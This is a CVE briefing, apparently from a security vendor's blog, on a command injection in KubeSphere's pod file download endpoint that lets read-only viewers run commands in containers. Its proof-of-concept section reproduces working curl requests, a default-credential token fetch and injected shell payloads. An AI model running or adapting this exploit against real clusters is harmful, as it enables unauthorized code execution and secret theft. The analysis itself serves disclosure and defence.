Automated Threat Modeling

Brief Summary: KubeSphere CVE-2026-73517 Command Injection in Terminal File Download (with PoC)

A brief summary of CVE-2026-73517, an OS command injection in KubeSphere's terminal file download endpoint that lets read-only viewers run commands inside containers. Includes the publicly documented proof of concept.

CVE Analysis

8 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-25

Brief Summary: KubeSphere CVE-2026-73517 Command Injection in Terminal File Download (with PoC)

Introduction

A read-only viewer role in a Kubernetes management platform is usually treated as a safe boundary: look, but do not touch. CVE-2026-73517 breaks that boundary in KubeSphere. Any authenticated user who can merely view pods can run arbitrary commands inside those containers, which the researcher demonstrated as root.

KubeSphere is an enterprise-grade, multi-tenant container platform layered above Kubernetes. It bundles DevOps, GitOps, service mesh, observability, and application management across heterogeneous and multi-cloud environments. QingCloud Technologies Corp., a China-based cloud computing company, started the project and maintains it. A CNCF case study reports more than 5 million downloads and use in more than 100 countries, and the project passed 16,000 GitHub stars in 2025. This is a widely adopted layer sitting directly on top of production Kubernetes clusters.

Technical Information

The defect lives in pkg/kapis/terminal/v1alpha2/handler.go. The DownloadFile handler (around line 380) reads a user-controlled path query parameter via request.QueryParameter("path") and passes it, unsanitized, into shell commands assembled with fmt.Sprintf. Those commands then run inside the target container through the Kubernetes exec API, using the ks-apiserver service account.

The tainted path reaches sh -c at two sinks:

// getFileSize (line 284) Command: []string{"sh", "-c", fmt.Sprintf("tar cf - %s | wc -c", t.filePath)} // initReadFrom (line 330) Command: []string{"sh", "-c", fmt.Sprintf("tar cf - %s | tail -c+%d", t.filePath, n)}

Because the value is interpolated straight into a string that is handed to sh -c, shell metacharacters such as ;, |, $(), and redirection operators break out of the intended tar invocation and become executable syntax. There is no filepath.Clean(), no allowlist, and no input validation anywhere on the way to the sink. This is the CWE-78 OS command injection core of the finding.

A second defect compounds the first. Elsewhere in the terminal code, HandleTerminalSession validates create on pods/exec before granting interactive access. DownloadFile performs no such check. The result is an authorization boundary failure: the handler runs commands on the user's behalf without verifying the user holds the execution permission that operation implies. The CNA states that pod get can suffice, including the built-in read-only project-viewer, workspace-viewer, and cluster-viewer roles.

The vulnerable endpoint is:

GET /kapis/terminal.kubesphere.io/v1alpha2/namespaces/{namespace}/pods/{pod}/file

with the parameters path and container.

The attack flow is direct. An authenticated user with network access to the KubeSphere API server selects an existing pod they can view, issues a file download request against that pod, and places shell metacharacters in the path parameter. The handler interpolates the payload into one of the tar command strings and runs it inside the chosen container via the exec API. Commands run with whatever identity that container process uses, and the researcher's demonstration returned uid=0(root).

The impact is worth scoping precisely. The demonstrated execution boundary is the container, and a root result in one tested container does not imply every affected workload runs as root. The cited material does not demonstrate container escape, Kubernetes node compromise, or full cluster takeover. The CNA's stated scope is arbitrary commands inside any viewable container.

The CNA assigns CVSS 3.1 8.8 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and CVSS 4.0 8.7 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). The researcher's own disclosure cites 9.9 Critical without supplying a CVSS 3.1 vector. NVD displays the VulnCheck assessment and notes that its own assessment has not yet been provided, so the researcher score should not be relabeled as an NVD score.

Proof of Concept

A complete, public proof of concept is documented in Ashik Mohamed's repository and referenced by NVD, the VulnCheck advisory, and upstream issue #6661. The steps below are reproduced from that writeup. They were reviewed from authoritative sources but not independently run in this briefing.

First, gain network access to ks-apiserver (default NodePort 30880, or via port-forward):

kubectl port-forward -n kubesphere-system svc/ks-apiserver 8080:80

Next, deploy a victim pod and obtain a JWT using default admin credentials:

kubectl run victim-pod --image=nginx:alpine -- sleep 3600
kubectl wait --for=condition=ready pod/victim-pod --timeout=30s
KS_TOKEN=$(curl -sk -X POST "http://localhost:8080/oauth/token" \
  -d "grant_type=password&username=admin&password=P@88w0rd&client_id=kubesphere&client_secret=kubesphere" \
  | jq -r '.access_token')

The logical payload supplied through the path parameter is:

path = /dev/null 1>&2;echo PWNED>/tmp/pwned;echo 1024

which the server assembles into:

sh -c "tar cf - /dev/null 1>&2;echo PWNED>/tmp/pwned;echo 1024 | wc -c"

Here tar cf - /dev/null 1>&2 discards tar output to stderr, echo PWNED>/tmp/pwned writes attacker-controlled content inside the container, and echo 1024 satisfies getFileSize's uint64 parse. The URL-encoded request:

curl -sk -H "Authorization: Bearer $KS_TOKEN" \
  'http://localhost:8080/kapis/terminal.kubesphere.io/v1alpha2/namespaces/default/pods/victim-pod/file?path=/dev/null%201%3E%262%3Becho%20PWNED%3E/tmp/pwned%3Becho%201024&container=victim-pod' \
  -o /tmp/rce.tar -w "\nHTTP %{http_code}  Size: %{size_download}\n"

Verify execution:

kubectl exec victim-pod -- cat /tmp/pwned      # -> PWNED

A second request injecting id (path=/dev/null 1>&2;id>/tmp/pwned;echo 1024) returns uid=0(root) gid=0(root) ..., confirming arbitrary command execution as root inside the container. In the words of the disclosure, authenticated low-privileged attackers can run arbitrary commands in any reachable container, enabling secret and service-account-token exfiltration, pod-to-cluster privilege escalation, and lateral movement.

Affected Systems and Versions

According to the CNA, CVE-2026-73517 affects KubeSphere 4.0.0 through 4.1.3. The researcher's writeup lists versions through 4.1.3-rc.0, but the authoritative range for exposure assessment is the CNA's 4.0.0 through 4.1.3, which includes the final 4.1.3 release. The reviewed sources do not identify a fixed version.

Vendor Security History

KubeSphere previously had CVE-2024-46528, an insecure direct object reference vulnerability that allowed low-privileged authenticated access to sensitive resources without proper authorization. The GitHub advisory lists 4.1.3 and 3.4.1 as patched versions in its package data. The contrast that matters is that 4.1.3, a patched version for that earlier flaw, remains within the affected range for CVE-2026-73517. An upgrade tied to the older advisory is therefore not evidence of protection against this newly disclosed defect. Both incidents concern authorization boundaries, but the reviewed evidence does not establish a shared code defect or a failed historical patch. KubeSphere publishes an end-of-life support policy listing September 12, 2027 as the end-of-life date for version 4.1, which documents a support process rather than a delivery date for a fix to this CVE.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization